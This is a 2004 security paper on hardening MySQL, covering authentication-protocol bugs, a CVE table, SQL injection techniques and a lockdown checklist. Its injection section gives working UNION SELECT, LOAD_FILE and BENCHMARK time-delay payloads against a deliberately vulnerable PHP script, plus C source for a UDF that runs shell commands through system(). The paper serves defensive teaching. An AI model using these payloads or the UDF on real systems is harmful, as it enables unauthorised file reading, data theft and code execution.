Hackproofing MySQL

Chris Anley [chris@ngssoftware.com]

5th July 2004

An NGSSoftware Insight Security Research (NISR) Publication

http://www.ngssoftware.com

Table of Contents

Introduction

MySQL claims to be the world's most popular open source database, and with good reason. It is free, runs on a wide variety of platforms, is relatively simple, easy to configure and performs well even under significant load. By comparison to some other popular database management systems, configuring it is quite simple, but there are still a sufficiently wide variety of security-relevant configuration issues to make securing it a challenge.

This document is a brief outline of common attacks on MySQL and the steps that a MySQL administrator can take to defend against them.

MySQL versions and patching

MySQL AB actively maintain several versions of their database software, and determining which version to install can be somewhat confusing. From a security point of view the decision is further complicated by the fact that additional security features are often available in 'alpha' versions but not in the current 'production' version.

Version 3.23.x and older versions are a little outdated; many improvements have been made with the advent of version 4.

Version 4.0.x is the current production version at the time of writing, and contains many improvements over the 3.23 versions, notably support for UNION (though this has an impact on SQL injection, see below), support for SSL-encrypted connections, and many performance and reliability enhancements.

Version 4.1.x is the current 'alpha' version. It contains a modified authentication protocol involving a secure hashing function (SHA1). Previous implementations of the MySQL authentication protocol were cryptographically weak and subject to a number of attacks. In addition to the new authentication mechanism, 4.1 provides support for subqueries, Unicode, and adds a number of performance enhancements over 4.0.

Version 5.0 is the current 'development' version. The most notable new feature it provides is support for stored procedures.

At the time of writing, the current production version is 4.0.20. There are several new security features in 4.1, such as a new password authentication mechanism with a more secure authentication protocol, but these features are currently in 'alpha' and should not be relied upon.

If you want a secure installation, install the latest production version, and check regularly

for new versions. Security problems are being found all the time and it makes sense to patch regularly.

If you have good reasons to use versions other than the current production version, bear in mind that you will be exposing yourself to security and reliability issues. The former may be partially addressed by careful deployment and a thorough lockdown, the latter are somewhat harder to account for.

MySQL in the network

Since it is so popular, and free, you find MySQL servers in all manner of places on a network. There are many open source projects that integrate with it so it is not uncommon to find users running MySQL on their desktop machines, rather than dedicated servers.

In a typical configuration, a client will connect to MySQL over TCP port 3306. On the Windows platforms it is possible to configure MySQL to run over named pipes (with the -enable-named-pipe option) but this is not a recommended configuration. By default, MySQL running in named pipe mode will listen on both TCP port 3306 and a named pipe called 'MySQL'. The network protocol that MySQL uses is relatively simple (when compared with other DBMSs such as Oracle) and is plaintext by default, though an SSL enabled version is available in more recent versions (4.0.0 and higher). The SSL-enabled versions still run over TCP port 3306, and negotiate SSL in-stream.

You can easily check which version of MySQL a host is running since it returns the major and minor version in a banner when you connect. Some versions also return a clue to the operating system, for example 4.0.18-nt is returned by version 4.0.18 of the Windows build of MySQL. At the time of writing this feature cannot be changed by the administrator other than by altering the source code or editing the binary, so it is likely that any MySQL version numbers you see in a network are correct. Any banner-grabbing TCP portscanner should return the MySQL version.

Perhaps the most common use for MySQL is to provide a back-end to dynamic web applications. It is normally found as a back-end to Apache/PHP applications and (depending on the hardware budget of the network in question) may even be running on the same host as the web server. In larger environments it may be used as a logging server, as the destination for Intrusion Detection System (IDS) logs, web server logs or other audit tasks. In an internal network you might find it being used in a more traditional, client-server mode, perhaps as the backend to a helpdesk system. And then there are a number of reasons why a user would run MySQL on their own desktop machine, so it is not unusual to find MySQL instances on workstations, especially in development environments.

Since the MySQL communications protocol has historically been plaintext, one fairly

popular configuration is to deploy an SSH server on the same host as the MySQL server, and use port forwarding to connect to port 3306 over the encrypted tunnel. There are several advantages to this approach; it means that the data is encrypted in transit, it enforces an additional authentication step, and it also provides an additional audit record of connections to the database server. For details of how to deploy this configuration, see

http://dev.mysql.com/doc/mysql/en/Security_against_attack.html
http://dev.mysql.com/doc/mysql/en/Secure_connections.html
...and the documentation for your SSH vendor's client and server.

One dangerous piece of advice that is seen fairly often in MySQL secure configuration guides is that the MySQL server should be run on the same host as the web server, so that remote connections to the MySQL server can be prohibited. This configuration leads to dangers of its own, however. Because the MySQL tables are stored in files that are not normally locked, a file disclosure bug in the web application may well lead to an attacker being able to download the entire contents of the database. From another perspective, a SQL injection bug in the web application may well lead to the attacker being able to modify the contents of scripts on the web server. Correct permissions will prevent these problems but it is worth bearing in mind that placing the web server and database server on the same host opens up many other avenues to the attacker.

Bugs In The Authentication Protocol

There have been a fairly significant number of bugs in the MySQL authentication protocol. We document these here for reference.

Basic Cryptographic Weakness in the Authentication Protocol Prior to 4.1

In versions of MySQL prior to version 4.1, knowledge of the password hash (contained in the mysql.user table) was sufficient to authenticate, *rather than knowledge of the password*. This means that there is almost no point in writing a password cracker for the password hashes in MySQL versions prior to 4.1, since it is fairly straightforward to patch the standard 'mysql' client to accept a password hash rather than a password. Of course, users tend to re-use passwords (especially 'root' passwords) so cracking any password hash is of some value when the security network as a whole is taken into account.

Password crackers for MySQL can easily be found online.

The authentication algorithm itself also had cryptographic flaws in versions prior to 4.1. For more information, see
http://icat.nist.gov/icat.cfm?cvename=CVE-2000-0981

Authentication Bypass and Stack Overflow in Version 4.1.0-4.1.2 and 5.0

By submitting a carefully crafted authentication packet, it is possible for an attacker to bypass password authentication in MySQL 4.1.0 to 4.1.2, and early builds of 5.0.

From check_connection (sql_parse.cpp), line ~837:

```
  /*
    Old clients send null-terminated string as password; new clients send
    the size (1 byte) + string (not null-terminated). Hence in case of empty
    password both send '\0'.
  */
  uint passwd_len= thd->client_capabilities & CLIENT_SECURE_CONNECTION ?
    *passwd++ : strlen(passwd);
```

Provided 0x8000 is specified in the client capabilities flags, the use can specify the passwd_len field of their choice. For this attack, we will choose 0x14 (20) which is the expected SHA1 hash length.

Several checks are now carried out to ensure that the user is authenticating from a host that is permitted to connect. Provided these checks are passed, we reach:

```
        /* check password: it should be empty or valid */
        if (passwd_len == acl_user_tmp->salt_len)
        {
          if (acl_user_tmp->salt_len == 0 ||
              acl_user_tmp->salt_len == SCRAMBLE_LENGTH &&
              check_scramble(passwd, thd->scramble, acl_user_tmp->salt) == 0 ||
              check_scramble_323(passwd, thd->scramble,
                                 (ulong *) acl_user_tmp->salt) == 0)
          {
            acl_user= acl_user_tmp;
            res= 0;
          }
        }
```

the check_scramble function fails, but within the check_scramble_323 function we see:

```
my_bool
check_scramble_323(const char *scrambled, const char *message,
                   ulong *hash_pass)
{
  struct rand_struct rand_st;
  ulong hash_message[2];
  char buff[16],*to,extra;                      /* Big enough for check */
  const char *pos;

  hash_password(hash_message, message, SCRAMBLE_LENGTH_323);
  randominit(&rand_st,hash_pass[0] ^ hash_message[0],
```

```
            hash_pass[1] ^ hash_message[1]);
  to=buff;
  for (pos=scrambled ; *pos ; pos++)
    *to++=(char) (floor(my_rnd(&rand_st)*31)+64);
  extra=(char) (floor(my_rnd(&rand_st)*31));
  to=buff;
  while (*scrambled)
  {
    if (*scrambled++ != (char) (*to++ ^ extra))
      return 1;                                 /* Wrong password */
  }
  return 0;
}
```

At this point, the user has specified a 'scrambled' string that is as long as they wish. In the case of the straightforward authentication bypass, this is a zero-length string. The final loop compares each character in the 'scrambled' string against the string that mysql knows is the correct response, until there are no more characters in 'scrambled'. Since there are no characters *at all* in 'scrambled', the function returns '0' immediately, allowing the user to authenticate with a zero-length string.

This bug is relatively easy to exploit, although it is necessary to write a custom MySQL client in order to do so.

In addition to the zero-length string authentication bypass, the stack-based buffer 'buff' can be overflowed by a long 'scramble' string. The buffer is overflowed with characters output from my_rnd(), a pseudo random number generator. The characters are in the range 0x40..0x5f. On some platforms, arbitrary code execution is possible, though the exploit is complex and requires either brute force, or knowledge of at least one password hash.

The attacker must know or be able to guess the name of a user in order for either of these attacks to work, so renaming the default MySQL 'root' account is a reasonable precaution. Also, the account in question must be accessible from the attacker's host, so applying ip-address based login restrictions will also mitigate this bug.

Authentication Algorithm Prior to 3.23.11

In MySQL versions prior to 3.23.11 there was a serious bug in the authentication mechanism that meant that an attacker could authenticate using only a single character of the 'scrambled' password. It turns out that the scrambled string consists of characters from a set of 32, so the attacker only needed a small number of guesses to log in.

For more information, see
http://icat.nist.gov/icat.cfm?cvename=CVE-2000-0148

CHANGE_USER Prior to 3.23.54 and 4.x prior to 4.0.6

In MySQL versions prior to 3.23.54, if the user could authenticate, they could then issue a 'CHANGE_USER' command with either an overly long string (to trigger a buffer overflow) or a single byte string, to allow easy privilege elevation.

http://icat.nist.gov/icat.cfm?cvename=CAN-2002-1374
http://icat.nist.gov/icat.cfm?cvename=CAN-2002-1375

The strongest configuration in terms of security is to deploy MySQL on a host whose only visible network daemon is SSH. This can be achieved with an IPTables script that blocks all IP access except to port 22 (or whatever port SSH is listening on). The reasoning behind this is that (as well as being general good practice) SSH can enforce an additional layer of encryption, authentication and audit in addition to MySQL's own mechanisms.

Other Historical Bugs

MySQL has had a fair number of bugs reported in it. This section is a brief roundup, partly as a refresher for those readers who are familiar with MySQL, and also as a brief summary for readers who are new to it.

Obviously, the best fix for these bugs is to patch. It's useful to be aware of the various bugs, since the flaws have been found in MySQL in the past may well be indicative of the flaws that will be found in the future. It's also a useful exercise to work out workarounds for these various bugs and apply them to your current environment, since your improved lockdown may well make you immune to attacks that haven't even been discovered yet.

These bugs are referenced in most-to-least recent order, with their CVE-IDs.

CVE ID	Description
CAN-2004-0388	The script mysqld_multi allows local users to overwrite arbitrary files via a symlink attack. Workaround – revoke access to the script.
CAN-2004-0381	mysqlbug in MySQL allows local users to overwrite arbitrary files via a symlink attack on the failed-mysql-bugreport temporary file. Workaround – revoke access to the script.

CVE ID	Description
CAN-2003-0780	Buffer overflow in get_salt_from_password from sql_acl.cc for MySQL 4.0.14 and earlier, and 3.23.x, allows attackers to execute arbitrary code via a long Password field Note – an attacker would have to be able to modify a user's password in order to carry out this attack, but it would result in the execution of arbitrary code.
CAN-2003-0150	MySQL 3.23.55 and earlier creates world-writeable files and allows mysql users to gain root privileges by using the "SELECT * INTO OUTFILE" statement to overwrite a configuration file and cause mysql to run as root upon restart. Workaround – patch, use --chroot, and apply file permissions.
CAN-2003-0073	Double-free vulnerability in mysqld for MySQL before 3.23.55 allows remote attackers to cause a denial of service (crash) via mysql_change_user.
CAN-2002-1376	libmysqlclient client library in MySQL 3.x to 3.23.54, and 4.x to 4.0.6, does not properly verify length fields for certain responses in the (1) read_rows or (2) read_one_row routines, which allows remote attackers to cause a denial of service and possibly execute arbitrary code. Note – in this case, the attacker would create a malicious MySQL server and attack clients that connected to it. This might be a way of compromising a web server, once the MySQL server itself had been compromised.
CAN-2002-1375	The COM_CHANGE_USER command in MySQL 3.x before 3.23.54, and 4.x to 4.0.6, allows remote attackers to execute arbitrary code via a long response. This bug (and CAN-2002-1374, below) is an excellent reason to rename the default 'root' account. The attacker must know the name of a MySQL user in order to carry out this attack.
CAN-2002-1374	The COM_CHANGE_USER command in MySQL 3.x before 3.23.54, and 4.x before 4.0.6, allows remote attackers to gain privileges via a brute force attack using a one-character password, which causes MySQL to only compare the provided password against the first character of the real password. The attacker must know the name of a MySQL user in order to carry out this attack.

CVE ID	Description
CAN-2002-1373	Signed integer vulnerability in the COM_TABLE_DUMP package for MySQL 3.23.x before 3.23.54 allows remote attackers to cause a denial of service (crash or hang) in mysqld by causing large negative integers to be provided to a memcpy call.
CAN-2002-0969	Buffer overflow in MySQL before 3.23.50, and 4.0 beta before 4.02, and possibly other platforms, allows local users to execute arbitrary code via a long "datadir" parameter in the my.ini initialization file, whose permissions on Windows allow Full Control to the Everyone group.
CAN-2001-1255	WinMySQLadmin 1.1 stores the MySQL password in plain text in the my.ini file, which allows local users to obtain unathorized access the MySQL database. Note – this bug still wasn't fixed at the time of writing.
CVE-2001-0407	Directory traversal vulnerability in MySQL before 3.23.36 allows local users to modify arbitrary files and gain privileges by creating a database whose name starts with .. (dot dot).
CAN-2001-1274	Buffer overflow in MySQL before 3.23.31 allows attackers to cause a denial of service and possibly gain privileges.
CAN-2001-1275	MySQL before 3.23.31 allows users with a MySQL account to use the SHOW GRANTS command to obtain the encrypted administrator password from the mysql.user table and possibly gain privileges via password cracking.
CVE-2000-0981	MySQL Database Engine uses a weak authentication method which leaks information that could be used by a remote attacker to recover the password.
CVE-2000-0148	MySQL 3.22 allows remote attackers to bypass password authentication and access a database via a short check string. (note – this is similar to CAN-2002-1374
CVE-2000-0045	MySQL allows local users to modify passwords for arbitrary MySQL users via the GRANT privilege.
CVE-1999-1188	mysqld in MySQL 3.21 creates log files with world-readable permissions, which allows local users to obtain passwords for users who are added to the user database.

MySQL as a web back-end

If there could be said to be a 'normal' deployment configuration for MySQL it would have to be as the back-end to an Apache/PHP web application. There are numerous guides on deploying this combination of scripting language and database server for various platforms so we will not repeat them here, however experience in network audits has taught us that there are several mistakes people often make when setting up MySQL in this configuration:

1)Inadequate restriction of network connections to or from either the web server or the MySQL server.
2)Inadequate patching of the MySQL server.
3)Use of the MySQL 'root' account, or some other over-privileged account, to connect to the database.
4)No host-based restrictions of MySQL accounts.
5)The MySQL daemon is often configured to run as the unix 'root' account, the Windows LocalSystem account, or some other over-privileged account.
6)Lack of restrictions on MySQL file access, and generally lax file permissions on the host that MySQL is running on.
7)LOAD DATA LOCAL INFILE is permitted.

These are fairly obvious errors, but in our experience they are also quite common. A quick-reference list describing how to fix them is provided at the end of this document.

SQL injection in MySQL

Even after several years of continual preaching by the security community, SQL injection is still a big problem. The problem itself results from insufficient input validation in web applications, but the configuration of the back-end database can contribute greatly to an attacker's success. If you lock down the MySQL box well, the damage caused by even a badly flawed application can be mitigated.

Before we address the specifics of SQL injection in MySQL, let's consider the common attacks. This section presumes a working knowledge of SQL injection. If you're not entirely familiar with SQL injection, see

http://www.ngssoftware.com/papers/advanced_sql_injection.pdf and
http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf

for some background information.

In PHP, the 'magic_quotes_gpc' setting controls whether the PHP engine will automatically escape single quotes, double quotes, backslashes and NULLs automatically. In 'magic_quotes_gpc', the 'gpc' stands for GET/POST/COOKIE. This setting is enabled by default in more recent versions, so if the value being submitted by the user is being placed in a string variable:

```
$query = "SELECT * FROM user where user = '" . $_REQUEST['user'] . "'";
```

...sql injection is impossible. However, if the value is being placed in a non-delimited portion of the query, such as a numeric value, table or column name:

```
$query = "SELECT * FROM user order by " . $_REQUEST['user'];
```
or
```
$query = "SELECT * FROM user where max_connections = " . $_REQUEST
['user'];
```

...then SQL injection is still possible. One possible way of dealing with the numeric problem in PHP/MySQL is to delimit *all* user input in single quotes, including numbers. The comparison will still work, but magic_quotes_gpc will protect against the attacker escaping from the string.

Obviously, if 'magic quotes' are turned off, SQL injection is always possible, depending on how user input is validated.

Assuming that the attacker is able to mount a SQL injection attack, the question then is, what can they do? A list of the major danger areas is provided below:

UNION SELECT
LOAD_FILE function
LOAD DATA INFILE statement
SELECT ... INTO OUTFILE statement
BENCHMARK function
User Defined Functions (UDFs)

So that we have a concrete example to work with, we will take a slightly modified version of one of the common php example scripts as our contrived vulnerable script. This script should work with a default install of mysql; we will use the default 'root' user and the default 'mysql' database to demonstrate SQL injection. This is obviously a contrived situation but it will help to make the examples a little clearer.

```
<?php

    /* Connecting, selecting database */
    $link = mysql_connect("my_host", "root")
        or die("Could not connect : " . mysql_error());
    print "Connected successfully";

    mysql_select_db("mysql") or die("Could not select database");

    /* Performing SQL query */
      $query = "SELECT * FROM user where max_connections = " . $_REQUEST
['user'];

      print "<h3>Query: " . $query . "</h3>";

    $result = mysql_query($query) or die("Query failed : " .
mysql_error());

    /* Printing results in HTML */
    print "<table>\n";
    while ($line = mysql_fetch_array($result, MYSQL_ASSOC)) {
        print "\t<tr>\n";
        foreach ($line as $col_value) {
            print "\t\t<td>$col_value</td>\n";
        }
        print "\t</tr>\n";
    }
    print "</table>\n";

    /* Free resultset */
    mysql_free_result($result);

    /* Closing connection */
    mysql_close($link);
?>
```

UNION SELECT

The UNION statement was implemented in MySQL version 4.0. Since it's one of the staple ingredients of a SQL injection attack, the introduction of this feature has actually made exploiting MySQL servers via SQL injection a little easier.

In our contrived example, we have a query that looks like this:

```
$query = "SELECT * FROM user where max_connections = " . $_REQUEST
['user'];
```

max_connections is '0' for the default root user, so if we issue a web request for:

http://mysql.example.com/query.php?user=0

...we should get the 'user' table output.

If we want to return other useful data – apart from the 'user' table – we can use the 'UNION' statement to combine two resultsets. Since the 'UNION' statement comes after the 'WHERE' clause in a select statement, we can choose any data we like, within the following restrictions:

- Our select statement must return the same number of fields as the original (31 if you count them, or do a 'describe user').
- The data types of our fields must match, or it must be possible to implicitly convert between the two
- If our data contains text fields, they will be truncated to the length of the corresponding text field in the first query

Let's say we want to return the '@@version' string. We would request something like:

http://mysql.example.com/query.php?user=1+union+select+@@version,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1

We can select arbitrary fields from tables in other tables using union select. For example, suppose we wanted to retrieve the 'name' and 'dl' fields from the 'func' table:

http://mysql.example.com/query.php?user=1+union+select+name,dl,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1+from+func

Using 'UNION', an attacker can effectively access all of the data that the calling application can access.

LOAD_FILE function

The LOAD_FILE function returns a string containing the contents of a file, specified by it's path. So, for example on a windows box, the query

select load_file('c:/boot.ini');

...will retrieve the contents of the boot.ini file.

Obviously if the target host is running PHP and has magic_quotes turned on, we need to express the string 'c:/boot.ini' without using single quotes. Fortunately, MySQL accepts hex-encoded strings as a substitute for string literals.

For example, the following two select statements are equivalent:

select 'c:/boot.ini'
select 0x633a2f626f6f742e696e69

So if we request...

http://mysql.example.com/query.php?user=1+union+select+load_file(0x633a2f626f6f742e696e69),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1

...we get something that looks like:

```
[boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)pa 1 1 N N N N
N N N N N N N N N N N N N N N N N  1 1 1 1 1 1
```

In other words, we got the first few bytes of c:\boot.ini, because the 'union' truncates the string to the length of the first field of the user table – which is 60 characters.

We can address this by using the 'substring' function:

http://mysql.example.com/query.php?user=1+union+select+substring(load_file
(0x633a2f626f6f742e696e69),60),
1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1

This will select the next 60 characters from 'boot.ini'. In this manner, we can iterate through the whole file, returning all the data. LOAD_FILE works on binary files, and SUBSTRING allows you to skip nulls, so the attacker can also use this technique to read arbitrary binary files.

LOAD DATA INFILE statement

This isn't really as useful to an attacker as the 'LOAD_FILE' function, because generally functions can be used as terms in a select statement, whereas issuing a complete statement like 'LOAD DATA INFILE' is somewhat tricky. If the SQL injection situation permits the attacker to submit multiple statements, however, this can be a serious problem.

The statements you would need to execute to read a text file would look something like this:

```
create table foo( line blob );
load data infile 'c:/boot.ini' into table foo;
select * from foo;
```

An interesting and dangerous feature of LOAD DATA is that it is possible to cause the file to be taken from the MySQL client (rather than the server). In the case of a web application with SQL injection issues, this would allow the attacker to read files on the web server as well as on the database server. This issue has been 'configured out' in

MySQL versions above 3.23.49 and 4.0.2 (4.0.13 on windows). Both the client and the server must permit LOAD DATA INFILE for this feature to be available. That said, it is wise to ensure that the feature is disabled in your configuration – while it provides an extremely quick means of loading data into a table from a client machine, it is also a significant security risk.

SELECT ... INTO OUTFILE

The companion statement to LOAD DATA INFILE is SELECT ... INTO OUTFILE. Many of the same disadvantages are present from the attacker's point of view. This statement represents the most obvious way for an attacker to gain control of a MySQL server – normally by creating nonexistent configuration files, possibly in users home directories.

It's worth remembering that in recent versions this statement cannot modify existing files; it can only create new ones.
If you attempt to create a binary file using SELECT ... INTO OUTFILE, certain characters will be 'escaped' with backslashes, and nulls will be replaced with '\0'. You can create binary files with SELECT INTO, using a slightly modified syntax:

SELECT ... INTO DUMPFILE

One possible malicious use of this statement would be to create a dynamically loadable library, containing a malicious UDF (User Defined Function) on the target host, and then use 'CREATE FUNCTION' to load the library and make the function accessible to MySQL. In this manner, the attacker could run arbitrary code on the MySQL server. For more information on this attack, see 'User Defined Functions', below. A point to note here is that in order for this attack to work, the attacker must be able to cause MySQL to write a file to a location that will be searched when MySQL loads a dynamically loadable library. Depending on the file permissions in place on the system in question, this may not be possible.

Another thing to bear in mind about SELECT ... INTO OUTFILE is that it may well be able to modify the MySQL configuration files. An excellent example of this is the bug CAN-2003-0150, detailed in the table above. In version 3.23.55 and earlier, it was possible for mysql to create a new, overriding 'my.cnf' in the MySQL data directory that would configure MySQL to run as root when restarted. This was fixed (in 3.23.56) by changing MySQL so that it won't read configuration files that are world-writeable, and by ensuring that the 'user' setting set in /etc/my.cnf overrides the 'user' setting in /<datadir>/my.cnf.
In versions that are vulnerable to this bug, it is relatively simple for an attacker to compromise the system using a UDF, in the manner described above.

Time delays and the BENCHMARK function

Sometimes, a web application doesn't return any useful error messages. This poses a problem for the attacker, since it is then much harder to determine whether SQL injection exists in the application or not.

In these situations it is useful for an attacker to be able to cause a database query to pause for some significant time, say ten seconds. If the attacker has a simple function or query fragment that will cause the query to pause if SQL injection is happening, they will be able to easily determine which scripts in the web application are vulnerable, since their web request will take an extra ten seconds to complete. Once the attacker has established that SQL injection is present in an application, they can use time delays in combination with conditional statements to extract information from the database.

For more information on this technique - extracting data from a database using time delays - see

http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf

In MySQL there is no simple 'wait' or 'sleep' function, but the combination of cryptographic primitives and the 'benchmark' function works in much the same way.

The benchmark function will evaluate a specified expression a specified number of times. For example,

```
select benchmark( 500000, sha1( 'test' ) );
```

...will calculate the SHA1 hash of the string 'test' 500,000 times. This takes about 5 seconds on a 1.7 GHz, single processor machine.

Since the 'benchmark' function can be used as an expression, we can insert it into likely looking fields in our web application and look to see when the application appears to pause. For example,

```
http://mysql.example.com/query.php?user=1+union+select+benchmark(500000,sha1
(0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
```

...will cause the application to pause for a fairly long time (10-15 seconds) before responding.

The attacker can use this technique to ask questions of the target system. For instance, the following select statement will pause if the current user's username is 'root':

```
mysql> select if( user() like 'root@%', benchmark(100000,sha1('test')), 'false' );
```

The 'if' part of this statement can be inserted anywhere a column name would go in a select statement, so it's actually quite easy to access this behaviour via SQL injection.

The next step is, of course, full data retrieval using time delays. This is achieved by selecting individual bits out of strings and pausing if they are '1', for example, the following statement will pause if the high-order bit of 'user()' is '1':

select if((ascii(substring(user(),1,1)) >> 7) & 1, benchmark(100000,sha1('test')), 'false');

Because multiple queries can be executing simultaneously, this can be a reasonably fast way of extracting data from a database in the right situation.

User defined functions

MySQL provides a mechanism by which the default set of functions can be expanded, by means of custom written dynamic libraries containing user defined functions, or 'UDFs'. This mechanism is accessed by the 'CREATE FUNCTION' statement, though entries in the 'mysql.func' table can be added manually.

The library containing the function must be accessible from the path that MySQL would normally take when loading a dynamically loaded library.

An attacker would typically abuse this mechanism by creating a 'malicious' library and then writing it to an appropriate directory using SELECT ... INTO OUTFILE. Once the library is in place, the attacker then needs 'update' or 'insert' access to the mysql.func table in order to configure MySQL to load the library and execute the function.

The source code for a quick example UDF library is shown below (apologies for the lack of tidiness):

```
#include <stdio.h>
#include <stdlib.h>

/*
compile with something like
gcc -g -c so_system.c
then
gcc -g -shared -W1,-soname,so_system.so.0 -o so_system.so.0.0 so_system.o -lc
*/

enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};
typedef struct st_udf_args
{
 unsigned int arg_count;              /* Number of arguments */
 enum Item_result *arg_type;         /* Pointer to item_results */
 char **args;                             /* Pointer to argument */
 unsigned long *lengths;         /* Length of string arguments */
 char *maybe_null;                    /* Set to 1 for all maybe_null args */
```

```
} UDF_ARGS;

typedef struct st_udf_init
{
 char maybe_null;           /* 1 if function can return NULL */
 unsigned int decimals;     /* for real functions */
 unsigned long max_length;  /* For string functions */
 char      *ptr;   /* free pointer for function data */
 char const_item;  /* 0 if result is independent of arguments */
} UDF_INIT;


int do_system( UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
{
        if( args->arg_count != 1 )
                return 0;

        system( args->args[0] );

        return 0;
}
```

The function can be added to MySQL like this:

```
mysql> create function do_system returns integer soname 'so_system.so';
Query OK, 0 rows affected (0.00 sec)
```

The 'mysql.func' table then looks like this (you can also do the update manually):

```
mysql> select * from mysql.func;
+-----------+-----+--------------+----------+
| name      | ret | dl           | type     |
+-----------+-----+--------------+----------+
| do_system |   2 | so_system.so | function |
+-----------+-----+--------------+----------+
1 row in set (0.00 sec)
```

And then the function can be called like this:

```
mysql> select do_system('ls > /tmp/test.txt');
+---------------------------------+
| do_system('ls > /tmp/test.txt') |
+---------------------------------+
|            -4665733612002344960 |
+---------------------------------+
1 row in set (0.02 sec)
```

Even if file permissions are such that the attacker cannot create a library of their own on the target system, it is possible that they could use an existing function to some harmful purpose. The difficulty that the attacker has is that the parameter list of most functions is unlikely to match the MySQL UDF prototype:

```
int xxx( UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
```

...though it is possible that a resourceful attacker could contrive to execute arbitrary code by calling into an existing system library that experienced some kind of controllable fault

when interpreting the parameters passed to it by MySQL.

It is still possible to do 'bad' things with the functions in existing system libraries however. For example, calling ExitProcess in Windows as a MySQL UDF. This will cause MySQL to exit immediately – even though the calling user may not have 'Shutdown_priv':

```
mysql> create function ExitProcess returns integer soname 'kernel32';
Query OK, 0 rows affected (0.17 sec)

mysql> select exitprocess();
ERROR 2013: Lost connection to MySQL server during query
```

You can also lock the currently-logged in user's workstation (same as pressing CTRL-ALT-DEL and then 'lock computer'):

```
mysql> create function LockWorkStation returns integer soname 'user32';
Query OK, 0 rows affected (0.00 sec)

mysql> select LockWorkStation();
```

(the workstation then locks).

The conclusion of all of this is the the UDF mechanism in MySQL is an extremely flexible and useful feature for developers, and is thus an equally useful feature for attackers. Carefully locking down MySQL privileges (particularly to the MySQL database and the mysql.func table), file permissions and restricting the use of 'SELECT ... INTO OUTFILE' are the best immediate defenses against this kind of attack.

Local Attacks

If a MySQL server is running on a multiuser machine, securing it against local attacks is quite tricky. First, there are a number of historical problems with weak permissions and temporary files. Then there is the difficulty of securing the MySQL binary and data directories – it is quite easy to read the files that MySQL uses to store table data, which can lead to an immediate compromise of the server based on knowledge of the 'root' account's password hash.

The best approach is to attempt to ensure that MySQL is running under its own, dedicated user account, and that no-one else has access to the MySQL data, configuration or binary files.

Other MySQL features to be wary of

WinMySQLAdmin will create a 'default' user account for MySQL when you first run it, and will place the plaintext username and password in plaintext in %SYSTEMROOT%

\my.ini.

MyPHP is a UDF (see above) that interprets it's argument as PHP code, and executes it. This means that anyone who can execute the 'php' function (which may very well mean everyone) can run arbitrary code on the MySQL server. This is obviously a very powerful feature, but needs to be treated with great care.

MyLUA provides extensibility via a similar mechanism, and is equally dangerous.

MySQL Lockdown Checklist

The following is a quick-reference list of things to do when you're tightening the security of your MySQL server. Other excellent lists can be found at

http://www.securityfocus.com/infocus/1726
http://www.securityfocus.com/infocus/1667
http://www.kitebird.com/articles/ins-sec.html

- Read the MySQL security guidelines at http://dev.mysql.com/doc/mysql/en/Security.html
- Deploy either IPTables (Linux) or an IPSec filtering ruleset (Windows) on your MySQL servers.
- Visit http://www.mysql.com/products/mysql/ often, and check for updates.
- Remove all non-root MySQL users
- Rename the 'root' MySQL user to something obscure
- Create a MySQL user for each web application – or possibly for each 'role' within each web application. For instance, you might have one MySQL user that you use to update tables, and another, lower-privileged user that you use to 'select' from tables.
- Ensure that MySQL users are restricted by IP address as well as passwords. See section 5.4 of the MySQL manual, “The MySQL Access Privilege System” for more information.
- Use a low – privileged 'mysql' account to run the MySQL daemon. This is the default on some platforms, but not others. For example, MySQL runs as the local 'system' account under Windows.
- Run mysqld with the '--chroot' option. Ensure that the MySQL user cannot access files outside of a limited set of directories. Specifically, the MySQL user should be prohibited from reading operating system configuration files. In some cases you might want to prevent the MySQL user from being able to modify the MySQL configuration files.
- Don't give accounts privileges that they don't absolutely need, especially 'File_priv' and 'Grant_priv'. If you have to interact with the file system from within MySQL, consider creating a seperate MySQL account that your application can use for this purpose.
- Disable the LOAD DATA LOCAL INFILE command by adding “set-variable=local-infile=0” to the my.cnf file.
- Know your bugs! Check vulnerability databases such as SecurityFocus and ICAT regularly for MySQL bugs.